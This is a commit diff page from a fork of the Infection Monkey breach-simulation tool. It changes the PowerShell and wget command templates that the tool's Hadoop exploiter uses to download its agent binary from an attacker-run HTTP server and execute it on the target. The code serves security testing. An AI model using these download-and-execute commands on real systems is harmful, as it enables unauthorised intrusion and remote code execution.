p34709852
/
monkey
forked from p15670423/monkey
1
0
Fork 1
Code Issues Pull Requests Projects Releases Wiki Activity

Merge pull request #1765 from guardicore/1755-fix-hadoop-cmd 

Agent: Prevent overwriting hadoop linux agent
This commit is contained in:
Mike Salvatore 2022-03-07 12:37:02 -05:00 committed by GitHub
parent fd2143a4df c886daba8a
commit 1de449351e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

17
monkey/infection_monkey/model/__init__.py
View File

@ -46,16 +46,27 @@ CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands # Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = ( HADOOP_WINDOWS_COMMAND = (
"powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; "
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) "
'{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "'
) )
# The hadoop server may request another monkey executable after the attacker's HTTP server has shut
# down. This will result in wget creating a zero-length file, which needs to be removed. Using the
# `--no-clobber` option prevents two simultaneously running wget commands from interfering with
# eachother (one will fail and the other will succeed).
#
# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server),
# it needs to remove the file. It sleeps to minimize the risk that the file was created by another
# concurrently running wget and then removes the file if it is still zero-length after the sleep.
#
# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all
# practical purposes. In the future, using randomized names for the monkey binary (which is a good
# practice anyway) would eleminate most of these issues.
HADOOP_LINUX_COMMAND = ( HADOOP_LINUX_COMMAND = (
"! [ -f %(monkey_path)s ] " "wget --no-clobber -O %(monkey_path)s %(http_path)s "
"&& wget -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "
"; chmod +x %(monkey_path)s " "; chmod +x %(monkey_path)s "
"&& %(monkey_path)s %(monkey_type)s %(parameters)s" "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
) )